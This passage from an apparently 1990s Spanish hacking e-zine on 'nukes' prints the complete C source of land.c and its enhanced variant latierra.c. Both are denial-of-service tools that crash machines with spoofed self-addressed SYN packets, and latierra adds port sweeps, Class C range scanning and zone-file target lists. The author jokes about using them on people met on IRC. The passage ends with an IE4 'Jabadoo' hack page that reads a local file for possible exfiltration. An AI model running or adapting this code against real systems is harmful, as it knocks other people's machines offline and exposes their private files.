ordenadorcito se derrumba. ==== land ==== Codigo Fuente /* land.c by m3lt, FLC crashes a win95 box */ #include #include #include #include #include #include #include #include #include struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; fprintf(stderr,"land.c by m3lt, FLC\n"); if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); } bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr; tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet\n"); return(-1); } fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); close(sock); return(0); } Explicacion Cientifica [o Patra€a]: El land crea una condicion de auto-ataque en la que el host que recibe el syn intenta replicarse a si mismo ya que el paquete se envia con direcciones iguales de destino y origen, el ordenador entra en un estado de loopback et voila!. Traduccion de la Patra€a: [Para los que sabemos que toda esa palabreria tecnica es absurda] El cretino de siempre y nuestro ordenadorcito. Oye manda este paquete -le pide el cretino a nuestro ordenadorcito- Vale -contesta el completo primo- {A los 10 segundos} Este paquete para usted. Para mi? -se sorprende el ordenadorcito- si es el que yo he enviado Si pero trae su direccion Bueno, bueno, volvere a enviarlo -acepta el ordenadorcito- {El ordenadorcito no se entera de que el cretino ha puesto como destino la direccion en que vivimos asi que...} Este paquete para usted. Para mi? -se sorprende el ordenadorcito- si es el que yo he enviado Si pero trae su direccion .. Pasan los milisegundos ... Este paquete para usted. Para mi? -se sorprende el ordenadorcito- si es el que yo he enviado Si pero trae su direccion ZZZaaappp!. El pobre ordenadorcito se derrumba. ======== latierra Modificacion del land.c ======== Codigo Fuente /**************************************************************/ /* */ /* La Tierra v1.0b - by MondoMan (KeG), elmondo@usa.net */ /* */ /* Modified version of land.c by m3lt, FLC */ /* */ /* Compiled on RedHat Linux 2.0.27, Intel Pentium 200Mhz */ /* gcc version 2.7.2.1 tabs set to 3 */ /* */ /* gcc latierra.c -o latierra */ /* */ /* Refer to readme.txt for more details and history */ /* */ /**************************************************************/ #include #include #include #include #include #include #include #include #include #include #include #define DEFAULT_FREQUENCY 1 #define TRUE 1 #define FALSE 0 #define FOR_EVER -5 #define LIST_FILE 1 #define ZONE_FILE 2 #define MAXLINELENGTH 512 #define DEFAULT_SEQ 0xF1C #define DEFAULT_TTL 0xFF #define DEFAULT_TCPFLAGS (TH_SYN | TH_PUSH) #define DEFAULT_WINSIZE 0xFDE8 struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; typedef struct latierra_data { char dest_ip[256]; int tcp_flags; int window_size; int ip_protocol; int sequence_number; int ttl; int supress_output; int message_type; } LATIERRA_DATA; void alternatives(void); int get_ip(int use_file, FILE *fp, char *buff); int land(LATIERRA_DATA *ld, int port_number); void nslookup_help(void); void print_arguments(void); void protocol_list(void); /********/ /* main */ /********/ int main(int argc, char **argv) { FILE *fp; LATIERRA_DATA ld; int frequency = DEFAULT_FREQUENCY, x; int beginning_port=1, octet=1, scan_loop=0, loop_val=0, use_file=FALSE; int ending_port = 0, loop = TRUE, i = 0, increment_addr = FALSE; char got_ip = FALSE, got_beg_port = FALSE; char class_c_addr[21], filename[256], buff[512], valid_tcp_flags[16]; printf("\nlatierra v1.0b by MondoMan (elmondo@usa.net), KeG\n"); printf("Enhanced version of land.c originally developed by m3lt, FLC\n"); strcpy(valid_tcp_flags, "fsrpau"); ld.tcp_flags = 0; ld.window_size = DEFAULT_WINSIZE; ld.ip_protocol = IP_TCP; ld.sequence_number = DEFAULT_SEQ; ld.ttl = DEFAULT_TTL; ld.message_type = 0; if(argc > 1 && (!strcmp(argv[1], "-a"))) alternatives(); if(argc > 1 && (!strcmp(argv[1], "-n"))) nslookup_help(); if(argc > 1 && (!strcmp(argv[1], "-p"))) protocol_list(); if(argc == 1 || ( (argc >= 2) && (!strcmp(argv[1], "-h")))) print_arguments(); while((i = getopt(argc, argv, "i:b:e:s:l:o:t:w:p:q:v:m:")) != EOF) { switch(i) { case 't': for(x=0;x 1) strcpy(ld.dest_ip, optarg); else { printf("ERROR: Must specify valid IP or hostname.\n"); return(-6); } got_ip = TRUE; break; case 's': frequency = atoi(optarg); break; case 'l': loop = atoi(optarg); break; case 'b': beginning_port = atoi(optarg); got_beg_port = TRUE; break; case 'e': ending_port = atoi(optarg); break; } } if(!ld.tcp_flags) ld.tcp_flags = DEFAULT_TCPFLAGS; if(!got_beg_port) { fprintf(stderr, "\nMust specify beginning port number. Use -h for help with arguments.\n\n"); return(-7); } if(ending_port == 0) ending_port = beginning_port; printf("\nSettings:\n\n"); printf(" (-i) Dest. IP Addr : "); if(ld.dest_ip[strlen(ld.dest_ip) -1] == '-') { ld.dest_ip[strlen(ld.dest_ip)-1] = 0x0; strcpy(class_c_addr, ld.dest_ip); strcat(ld.dest_ip, "1"); printf(" %s (Class C range specified).\n", ld.dest_ip); increment_addr = TRUE; octet = 1; } else if(strlen(ld.dest_ip) > 5) { if(strncmp(ld.dest_ip, "zone=", 5)==0) { strcpy(filename, &ld.dest_ip[5]); printf("%s (using DNS zone file)\n", filename); use_file = ZONE_FILE; } else if(strncmp(ld.dest_ip, "list=", 5) == 0) { strcpy(filename, &ld.dest_ip[5]); printf("%s (using ASCII list)\n", filename); use_file = LIST_FILE; } else printf("%s\n", ld.dest_ip); } else { printf("Destination specifier (%s) length must be > 7.\n", ld.dest_ip); return(-9); } printf(" (-b) Beginning Port #: %d\n", beginning_port ); printf(" (-e) Ending Port # : %d\n", ending_port ); printf(" (-s) Seconds to Pause: %d\n", frequency ); printf(" (-l) Loop : %d %s\n", loop, (loop == FOR_EVER) ? "(forever)" : " " ); printf(" (-w) Window size : %d\n", ld.window_size ); printf(" (-q) Sequence Number : %X (%d)\n",ld.sequence_number, ld.sequence_number ); printf(" (-v) Time-to-Live : %d\n", ld.ttl); printf(" (-p) IP Protocol # : %d\n", ld.ip_protocol ); printf(" (-t) TCP flags : "); strcpy(buff, ""); if( ld.tcp_flags & TH_FIN) strcat(buff, "fin "); if( ld.tcp_flags & TH_SYN) strcat(buff, "syn "); if(ld.tcp_flags & TH_RST) strcat(buff, "rst "); if(ld.tcp_flags & TH_PUSH) strcat(buff, "push "); if(ld.tcp_flags & TH_ACK) strcat(buff, "ack "); if(ld.tcp_flags & TH_URG) strcat(buff, "urg "); printf("%s\n\n", buff); if(ending_port < beginning_port) { printf("\nERROR: Ending port # must be greater than beginning port #\n\n"); return(-8); } scan_loop = loop_val = loop; if(use_file) { if(access(filename, 0)) { printf("\nERROR: The file you specified (%s) cannot be found.\n\n", filename); return(-9); } if( (fp = fopen(filename, "rt")) == NULL) { printf("ERROR: Unable to open %s.\n", filename); return(-10); } if(!get_ip(use_file, fp, buff)) { printf("Unable to get any IP address from file %s.\n"); return(-11); } strcpy(ld.dest_ip, buff); } while( (loop == FOR_EVER) ? 1 : loop-- > 0) { for(i=beginning_port; i <= ending_port; i++) { if(land(&ld, i)) /* go for it BaBy! */ break; if(frequency) /* make sure freq > 0 */ { if(!ld.supress_output) printf("-> paused %d seconds.\n", frequency); sleep(frequency); } } if( (!use_file) && (loop && increment_addr) ) { char temp_addr[21]; if(++octet > 254) /* check for reset */ { if(loop_val != FOR_EVER) /* make sure not to distrute forever! */ { if(++scan_loop > loop_val) /* check if scanned x times */ break; else loop = loop_val; /* restore original value */ } octet = 1; /* reset */ } sprintf(temp_addr, "%s%d", class_c_addr, octet); strcpy(ld.dest_ip, temp_addr); if(!ld.supress_output) printf("** incrementing to next IP address: %s\n", ld.dest_ip); if(scan_loop > loop_val) break; /* break while loop */ } else if(use_file) { if(!get_ip(use_file, fp, buff)) break; loop++; strcpy(ld.dest_ip, buff); } } /* end while */ printf("\nDone.\n\n"); } /* end main */ int get_ip(int use_file, FILE *fp, char *buff) { if(use_file == LIST_FILE) return(get_ip_from_list(fp, buff)); return(get_ip_from_zone(fp, buff)); } int get_ip_from_list(FILE *fp, char *buff) { int ret_val; while(1) { ret_val = (int)fgets(buff, MAXLINELENGTH, fp); if((ret_val == EOF) || (ret_val == (int)NULL)) return 0; if( strlen(buff) >= 7) if((buff[0] != ';') && (buff[0] != '[')) { if( (buff[strlen(buff)-1] == '\r') || (buff[strlen(buff)-1] == '\n') ) buff[strlen(buff)-1] = 0x0; return 1; } } return 0; } int get_ip_from_zone(FILE *fp, char *buff) { int ret_val, i; char *p, delim[8]; strcpy(delim, " \t"); while(1) { ret_val = (int)fgets(buff, MAXLINELENGTH, fp); if((ret_val == EOF) || (ret_val == (int)NULL)) return 0; if( strlen(buff) >= 7) if((buff[0] != ';') && (buff[0] != '[') && (strncmp(buff, "ls -d", 5) != 0)) { if( (p = strtok( buff, delim)) == NULL) continue; if( (p = strtok(NULL, delim)) == NULL) continue; if(strcmp(p, "A")) /* be sure second column is an DNS A record */ continue; if( (p = strtok(NULL, delim)) == NULL) continue; strcpy(buff, p); /* verify that we have a valid IP address to work with */ if(inet_addr(p) == -1) continue; /* strip off training line characters */ if( (buff[strlen(buff)-1] == '\r') || (buff[strlen(buff)-1] == '\n') ) buff[strlen(buff)-1] = 0x0; return 1; } } return 0; } /************/ /* checksum */ /************/ u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i = 0; i< (length >> 1); i++) value += data[i]; if((length & 1)==1) value += (data[i] << 8); value = (value & 0xFFFF) + (value >> 16); return(~value); } /********/ /* land */ /********/ int land(LATIERRA_DATA *ld, int port_number) { struct sockaddr_in sin; int sock; char buffer[40]; struct iphdr * ipheader = (struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((sin.sin_addr.s_addr=inet_addr(ld->dest_ip))==-1) { printf("ERROR: unknown host %s\n", ld->dest_ip); return(-1); } if((sin.sin_port=htons(port_number))==0) { printf("ERROR: unknown port %s\n",port_number); return(-2); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { printf("ERROR: couldn't allocate raw socket\n"); return(-3); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(ld->sequence_number); ipheader->ttl = ld->ttl; ipheader->protocol = ld->ip_protocol; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr; tcpheader->th_sport = sin.sin_port; tcpheader->th_dport = sin.sin_port; tcpheader->th_seq = htonl(ld->sequence_number); tcpheader->th_flags = ld->tcp_flags; tcpheader->th_off = sizeof(struct tcphdr)/4; tcpheader->th_win = htons(ld->window_size); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol = ld->ip_protocol; pseudoheader.length = htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum = checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if( sendto(sock, buffer, sizeof(struct iphdr)+sizeof(struct tcphdr), ld->message_type, (struct sockaddr *) &sin, sizeof(struct sockaddr_in) )==-1) { printf("ERROR: can't send packet. (sendto failed)\n"); return(-4); } if(!ld->supress_output) printf("-> packet successfully sent to: %s:%d\n", ld->dest_ip, port_number); close(sock); return(0); } /* End of land */ void alternatives() { printf("\nAlternative command line arguments for option -i\n\n"); printf(" You can create two types of files that latierra can use to get\n"); printf(" a list of IP addresses, a simple ASCII file with each IP address\n"); printf(" appearing on each line or better yet, a DNS zone file created by\n"); printf(" nslookup. If you are unfamiliar with nslookup, specify a '-n' on the\n"); printf(" command line of latierra.\n\n"); printf(" Basically, latierra will walk down the list and send the spoofed packet\n"); printf(" to each IP address. Once the list is complete, and loop > 1, the list\n"); printf(" is repeated. To specify that the '-i' option should use a zone file,\n"); printf(" specify \"zone=filename.txt\" instead of an IP address. To specify a \n"); printf(" simple ASCII list of IP addresses, use \"list=filename.txt\". Lines\n"); printf(" beginning with ';' or '[' are ignored. Lines that are not an 'A' \n"); printf(" record (second column)in a zone file will ignored.\n\n"); exit(-1); } void nslookup_help() { printf("\nNSLOOKUP help\n\n"); printf("To see who is the DNS server for a particular domain, issue the following:\n"); printf(" > set type=ns\n"); printf(" > xyz.com\n\n"); printf(" You will see a list of the name server(s) if completed successfully\n\n"); printf("To get a list of all the DNS entries for a particular domain, run nslookup\n"); printf("and issue the following commands:\n"); printf(" > server 1.1.1.1\n"); printf(" > ls -d xyz.com > filename.txt\n\n"); printf("Line 1 sets the server that nslookup will use to resolve a name.\n"); printf("Line 2 requires all the information about xyz.com be written to filename.txt\n\n"); exit(-1); } void protocol_list() { printf("\nProtocol List:\n\n"); printf("Verified:\n"); printf("1-ICMP 2-IGMP 3-GGP 5-ST 6-TCP 7-UCL 8-EGP 9-IGP 10-BBN_RCC_MON\n"); printf("11-NVP11 13-ARGUS 14-EMCON 15-XNET 16-CHAOS 17-UDP 18-MUX\n"); printf("19-DCN_MEAS 20-HMP 21-PRM 22-XNS_IDP 23-TRUNK1 24-TRUNK2\n"); printf("25-LEAF1 26-LEAF2 27-RDP 28-IRTP 29-ISO_TP4 30-NETBLT\n"); printf("31-MFE_NSP 32-MERIT_INP 33-SEP 34-3PC 62-CFTP 64-SAT_EXPAK\n"); printf("66-RVD 67-IPPC 69-SAT_MON 70-VISA 71-IPCV\n"); printf("76-BR_SAT_MON 77-SUN_ND 78-WB_MON 79-WB_EXPAK 80-ISO_IP\n"); printf("81-VMTP 82-SECURE_VMTP 83-VINES 84-TTP 85-NSFNET_IGP 86-DGP\n"); printf("87-TCF 88-IGRP 89-OSPFIGP 90-SPRITE_RPG 91-LARP\n\n"); printf("Supported:\n"); printf(" 6-TCP 17-UDP (future: PPTP, SKIP) \n\n"); exit(-1); } void print_arguments() { printf("Arguments: \n"); printf(" * -i dest_ip = destination ip address such as 1.1.1.1\n"); printf(" If last octet is '-', then the address will increment\n"); printf(" from 1 to 254 (Class C) on the next loop\n"); printf(" and loop must be > 1 or %d (forever).\n", FOR_EVER); printf(" Alternatives = zone=filename.txt or list=filename.txt (ASCII)\n"); printf(" For list of alternative options, use -a instead of -h.\n"); printf(" * -b port# = beginning port number (required).\n"); printf(" -e port# = ending port number (optional)\n"); printf(" -t = tcp flag options (f=fin,~s=syn,r=reset,~p=push,a=ack,u=urgent)\n"); printf(" -v = time_to_live value, default=%d\n", DEFAULT_TTL); printf(" -p protocol = ~6=tcp, 17=udp, use -p option for complete list\n"); printf(" -w window_size = value from 0 to ?, default=%d\n", DEFAULT_WINSIZE); printf(" -q tcp_sequence_number, default=%d\n", DEFAULT_SEQ); printf(" -m message_type (~0=none,1=Out-Of-Band,4=Msg_DontRoute\n"); printf(" -s seconds = delay between port numbers, default=%d\n", DEFAULT_FREQUENCY); printf(" -o 1 = supress additional output to screen, default=0\n" ); printf(" -l loop = times to loop through ports/scan, default=%d, %d=forever\n", 1, FOR_EVER); printf(" * = required ~ = default parameter values\n\n"); exit(-1); } /* End of file */ Explicacion Cientifica [o Patra€a]: Pues nada, que hay gente con ganas de chinchar y como NT+SP3 se hacia el sueco cuando uno intentaba pegarle un landazo salio el susodicho latierra que hace lo mismo que land pero alternando diferentes puertos (para que no le pille el toro) amas de permitir no solo enviar paquetes con el flag de syn sino con el que mas rabia nos de Traduccion de la patra€a: [Para los que sabemos que toda esa palabreria tecnica es absurda] Lo siento, nuestro ordenadorcito se ha declarado en huelga. Epp, yo si que estoy aqui y quiero figurar -exclama el cretino- Malibu!. [Esto puede tener alguna utilidad si algun dia en que por necesidad entrais en el Irc con uno de vuestros nicks un tio se os pone a hablar de cajas, "cajas por aqui", "cajas por alla", con un poco de suerte lo tumbamos y ni se entera. Ymola que no veas] Y punto final a la nuke-historia, algunos de los nukes aqui expuestos son perjudiciales para el funcionamiento de nuestro ordenador, el resto son peores. - - - - - - - - - - - Que vale el MSIE 4.0? - - - - - - - - - - - Mucho donde elegir pero no quedamos con el Jabadoo/Friburgo que ya estoy cansadito y tengo mushas cosas por hacer. No es nada nuevo el tema de "espionaje" en la navegacion Web, practicamente todas las versiones de navegadores se han visto afectadas por bugs que permitian a un tipo que atrajese incautos a una pagina dise€ada al efecto el "seguimiento posterior" incluyendo los datos en formularios (numeros de Visa, claves y esas cosas sin importancia), estamos hablando del viewtrack y aun antes pero con toda la histeria sobre seguridad, absolutamente desorbitada en mi modesta opinion, resulta penoso que le puedan pegar a uno un Friburgo con bacon como el siguiente: IE4 Jabadoo Hack

This sample page shows the first part of the jabadoo hack:

With a delay of 5 seconds, the content of the file C:\WINDOWS\DESKTOP\T1.TXT is loaded by this sample page and displayed in a message box.

In a second step, this content could be hidden in an url and transfered to every server on the net ...

If you get an error message, the timeout of 5 seconds is propably too short or the file C:\WINDOWS\DESKTOP\T1.TXT does not exist on your computer ...

English Press Release

German Press Release